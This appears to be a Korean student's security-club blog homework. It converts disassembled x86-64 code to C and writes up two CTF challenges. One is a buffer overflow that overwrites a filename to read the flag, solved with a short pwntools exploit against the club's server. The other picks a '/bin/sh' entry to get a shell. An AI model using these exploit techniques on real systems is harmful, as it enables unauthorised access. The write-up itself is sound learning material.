1. Handray 폴더 안에 존재하는 HW 파일의 main 및 func를 어셈블리어만 보고 C 언어로 바꾸기
어셈블리어를 보기 위헤 gdb를 사용해봤다. 명령어 disass main 명령어를 통해 main에 어떤 코드가 사용되었는지 확인했다.
1
2
3
4
5
6
7
8
|
0x000000000040118e <+0>: endbr64
0x0000000000401192 <+4>: push rbp
0x0000000000401193 <+5>: mov rbp,rsp
0x0000000000401196 <+8>: sub rsp,0x20
0x000000000040119a <+12>: mov DWORD PTR [rbp-0x14],edi
0x000000000040119d <+15>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004011a1 <+19>: mov DWORD PTR [rbp-0xc],0x0
0x00000000004011a8 <+26>: mov DWORD PTR [rbp-0x10],0x0
|
cs |
[rbp-0x14]에는 edi의 값이 들어가고 [rbp-0x20]에는 rsi의 값 [rbp-0xc], [rbp-0x10]에는 각각 0이 들어가는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
0x00000000004011af <+33>: lea rax,[rip+0xe4e] # 0x402004
0x00000000004011b6 <+40>: mov rdi,rax
0x00000000004011b9 <+43>: call 0x401060 <puts@plt>
0x00000000004011be <+48>: lea rax,[rip+0xe4b] # 0x402010
0x00000000004011c5 <+55>: mov rdi,rax
0x00000000004011c8 <+58>: mov eax,0x0
0x00000000004011cd <+63>: call 0x401070 <printf@plt>
0x00000000004011d2 <+68>: lea rax,[rbp-0xc]
0x00000000004011d6 <+72>: mov rsi,rax
0x00000000004011d9 <+75>: lea rax,[rip+0xe40] # 0x402020
0x00000000004011e0 <+82>: mov rdi,rax
0x00000000004011e3 <+85>: mov eax,0x0
0x00000000004011e8 <+90>: call 0x401080 <__isoc99_scanf@plt>
0x00000000004011ed <+95>: lea rax,[rip+0xe2f] # 0x402023
0x00000000004011f4 <+102>: mov rdi,rax
0x00000000004011f7 <+105>: mov eax,0x0
0x00000000004011fc <+110>: call 0x401070 <printf@plt>
0x0000000000401201 <+115>: lea rax,[rbp-0x10]
0x0000000000401205 <+119>: mov rsi,rax
0x0000000000401208 <+122>: lea rax,[rip+0xe11] # 0x402020
0x000000000040120f <+129>: mov rdi,rax
0x0000000000401212 <+132>: mov eax,0x0
0x0000000000401217 <+137>: call 0x401080 <__isoc99_scanf@plt>
0x000000000040121c <+142>: mov edx,DWORD PTR [rbp-0x10]
0x000000000040121f <+145>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401222 <+148>: mov esi,edx
0x0000000000401224 <+150>: mov edi,eax
|
cs |
puts, printf, scanf 등의 명령어가 사용되었음을 알 수 있다. 우선 puts에 어떤 값이 출력하고 있는지 확인을 해보겠다.
puts 명령어에서는 'Hello World'라는 문자열을 출력한다는 것을 알 수 있다. 다음으로는 printf에 대해 보겠다.
0x402010에 'Input digit A: '라는 값이 저장되어 있고 이 문자열을 출력한다는 것을 알 수 있다.
scanf 명령어를 보면 [rbp - 0xc]에 넣은 정수값이 저장된다는 것을 알 수 있다. 10을 입력해보겠다.
0x402023에 'Input digit B: '라는 값이 저장되어 있고 이 문자열을 출력한다.
[rbp - 0x10]에 값을 저장한다. 20을 입력해보겠다.
10은 eax에 저장하고 20은 edx에 저장하고 call을 호출하는 것을 알 수 있다.
1
2
3
4
5
6
7
8
|
0x0000000000401226 <+152>: call 0x401176 <func>
0x000000000040122b <+157>: mov DWORD PTR [rbp-0x4],eax
0x000000000040122e <+160>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401231 <+163>: mov esi,eax
0x0000000000401233 <+165>: lea rax,[rip+0xdf9] # 0x402033
0x000000000040123a <+172>: mov rdi,rax
0x000000000040123d <+175>: mov eax,0x0
0x0000000000401242 <+180>: call 0x401070 <printf@plt>
|
cs |
call 명령어를 통해 func 함수를 불러오고 불러온 값을 [rbp -0x4]에 넣는다는 것을 알 수 있다. 또한 printf 명령어가 한 번도 실행된다.
0x1e(30)이 [rbp - 4]에 들어간다는 것을 알 수 있다.
0x402033에는 'Sum a, b: %d\n'이라는 값이 저장되어 있고 이를 출력한다. 또한, func을 통해 도출된 30(0x1e)과 함께 출력된다.
-> Sum a, b 30
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
0x0000000000401247 <+185>: mov DWORD PTR [rbp-0x8],0x1
0x000000000040124e <+192>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000401251 <+195>: sub DWORD PTR [rbp-0x4],eax
0x0000000000401254 <+198>: cmp DWORD PTR [rbp-0x4],0x0
0x0000000000401258 <+202>: jns 0x401275 <main+231>
0x000000000040125a <+204>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040125d <+207>: mov esi,eax
0x000000000040125f <+209>: lea rax,[rip+0xddb] # 0x402041
0x0000000000401266 <+216>: mov rdi,rax
0x0000000000401269 <+219>: mov eax,0x0
0x000000000040126e <+224>: call 0x401070 <printf@plt>
0x0000000000401273 <+229>: jmp 0x40127b <main+237>
0x0000000000401275 <+231>: add DWORD PTR [rbp-0x8],0x1
0x0000000000401279 <+235>: jmp 0x40124e <main+192>
0x000000000040127b <+237>: mov eax,0x0
0x0000000000401280 <+242>: leave
0x0000000000401281 <+243>: ret
|
cs |
[rbp - 0x8]에 1을 넣고 아까 func에 return된 값을 빼는 것을 알 수 있다. 그 값이 SF = 0을 만족시키면 <main+231>로 점프하고 [rbp - 0x8]에 1을 더한 수 <main + 192>로 다시 되돌아간다. SF(Sign Flag)는 연산 결과가 음수면 1이고 양수면 0이다. 만약 연산한 값이 음수가 나온다면 printf 명령어가 출력된다는 것을 알 수 있다.
코드를 보면 0x1e - 0x1을 빼는 것을 알 수 있다. 하지만 양수가 값이 도출되었기 때문에 <main+231>로 이동할 것이다.
<main+231>에서 1을 더하고 다시 <main+192>로 이동하는 것을 알 수 있다. 이를 반복하다고 보면 printf 명령어가 나오는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
|
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401181 <+11>: mov DWORD PTR [rbp-0x8],esi
0x0000000000401184 <+14>: mov edx,DWORD PTR [rbp-0x4]
0x0000000000401187 <+17>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040118a <+20>: add eax,edx
0x000000000040118c <+22>: pop rbp
0x000000000040118d <+23>: ret
|
cs |
func 함수를 어셈블리어로 보았다. [rbp-0x4], [rbp-0x8]인 곳에 변수를 선언하고 그 값을 더하고 return한다는 것을 알 수 있다.
edx에 0xa가 들어가고 eax에 0x14이 들어간다. 그 후 add eax, edx를 통해 그 값을 더한 후 함수가 종료된다는 것을 알 수 있다.
이를 바탕으로 c언어로 짜보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#include <stdio.h>
int func(int a, int b)
{
int a1 = a;
int b1 = b;
return a1 + b1;
}
int main()
{
int A, B;
int repeat = 1;
int sum = 0;
puts("Hello World");
printf("Input digit A: ");
scanf("%d", &A);
printf("Input digit B: ");
scanf("%d", &B);
sum = func(A, B);
printf("Sum a, b: %d\n", sum);
while(sum > 0)
{
sum -= repeat;
if(sum < 0)
break;
repeat++;
}
printf("repeat %d", repeat);
return 0;
}
|
cs |
1.2 그 과정에서의 main의 스택 프레임 그리기
0x20, 0x14에 저런 값이 들어가는 이유는 다음 그림에서 알 수 있다.
어셈블리어의 scanf 부분을 유심히 보면 각각 rbp에서 0x10, 0xc 뺀 값에 할당 받는 것을 알 수 있다. 그렇기 때문에 0x10에 B 0xc A가 들어간다. 또한 func 함수가 끝난 후에 더한 값을 0x4에 sum이 들어가고 0x8에 1이 들어간다는 것을 알 수 있다.
2. Pay1oad Welcome CTF에 출제되었던 cute 및 Little_shell 문제 풀이 및 라이트 업 작성하기
2.1 cat is cute
제공된 소스 코드를 먼저 확인해 보았다.
1
2
|
char name[0x10];
read(0,name, 0x18);
|
cs |
name의 크기는 0x10으로 선언되었지만 read 명령어를 통해 0x18까지 받을 수 있다. 이 부분에서 BOF발생할 수 있다는 것을 알 수 있다.
1
|
print_file(filename);
|
cs |
이 코드로 인해 print_file이 호출을 알 수 있고 filename에 들어있는 값도 같이 들어가는 것을 알 수 있는데 print_file이 어떤 함수인지 확인을 해보겠다.
1
2
3
|
int print_file(char * filename){
FILE *file = fopen(filename, "r");
}
|
cs |
print_file 함수는 filename의 값을 받아서 읽어주는 역할을 하는 것을 알 수 있다. 만약 filename에 flag값이 있다는 flag 값을 알 수 있다는 것이다.
소스코드를 분석한 내용을 정리하면 read 명령어를 통해 name은 BOF가 발생할 수 있고 print_file은 filename을 읽어서 그 값을 읽을 수 있다는 것을 알 수 있다. 즉 BOF를 통해 filename이 가지고 있는 값을 덮을 수 있다면 flag를 획득할 수 있다는 것이다.
gdb를 통해 분석을 해보겠다.
먼저 어떤 보호 기법이 적용되었는지 확인을 해보겠다.
모든 보호 기법이 적용되었다는 것을 알 수 있다.
1
2
3
4
5
6
|
0x0000000000001372 <+73>: lea rax,[rbp-0x30]
0x0000000000001376 <+77>: mov edx,0x18
0x000000000000137b <+82>: mov rsi,rax
0x000000000000137e <+85>: mov edi,0x0
0x0000000000001383 <+90>: mov eax,0x0
0x0000000000001388 <+95>: call 0x1140 <read@plt>
|
cs |
[rbp-0x30]에서 name의 값을 받고 0x18의 길이까지 받는다.
1
2
3
|
0x00000000000013b7 <+142>: lea rax,[rbp-0x20]
0x00000000000013bb <+146>: mov rdi,rax
0x00000000000013be <+149>: call 0x12b0 <print_file>
|
cs |
[rbp-0x20]에서 값을 받는다는 것을 알 수 있다. 이를 보아 filename의 위치는 [rbp-0x20]에 있다는 것을 알 수 있다.
그렇다면 name과 filename은 0x10만큼 차이가 난다는 것을 알 수 있는데 0x10만큼의 dummy 값을 넣고 그 뒤에 flag를 쓰면 flag 값을 획득할 수 있을 것 같다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
p = remote("pay1oad.com", 5000)
payload = b'A' * 0x10 + b'flag'
p.send(payload)
print(p.recv())
p.interactive()
|
cs |
2.2 Little_shell
먼저 어떤 프로그램인지 실행시켜보았다.
실행을 시켜보니 1,2,3,9 중 숫자를 입력하면 이 명령어가 실행되는 프로그램인 것 같다. IDA를 통해 확인을 해보겠다.
1
2
3
4
5
6
7
8
|
for ( i = 0; ; system((const char *)*(&command + i)) )
{
description();
printf("> ");
__isoc99_scanf("%d", &i);
if ( i == 9 )
break;
}
|
cs |
이해하기 쉽게 먼저 디컴파일을 했고 해석을 해보면 i의 값을 넣는데 system(command[i])이 실행되면서 무한루프를 돈다. 하지만 i가 9가 입력되면 break 작동되어 무한루프가 해제되는 것을 알 수 있다.
command 값에 어떤 값이 존재하는지 확인을 해보면 이 문제를 풀 수 있을 것 같다.
4번째 값을 보면 "/bin/sh"가 존재하는 것을 알 수 있는데 이를 작동시키면 shell을 획득할 수 있다. 한 번 실행해봤다.
'보안 공부 > [동아리]' 카테고리의 다른 글
[동아리] Pay1oad_PWNABLE 7주차 과제 (0) | 2024.12.02 |
---|---|
[동아리] Pay1oad_PWNABLE 6주차 과제 (0) | 2024.11.18 |
[동아리] Pay1oad_PWNABLE 5주차 과제 (1) | 2024.11.11 |
[동아리] Pay1oad_PWNABLE 3주차 과제 (0) | 2024.10.28 |
[동아리] Pay1oad_PWNABLE 2주차 과제 (0) | 2024.10.06 |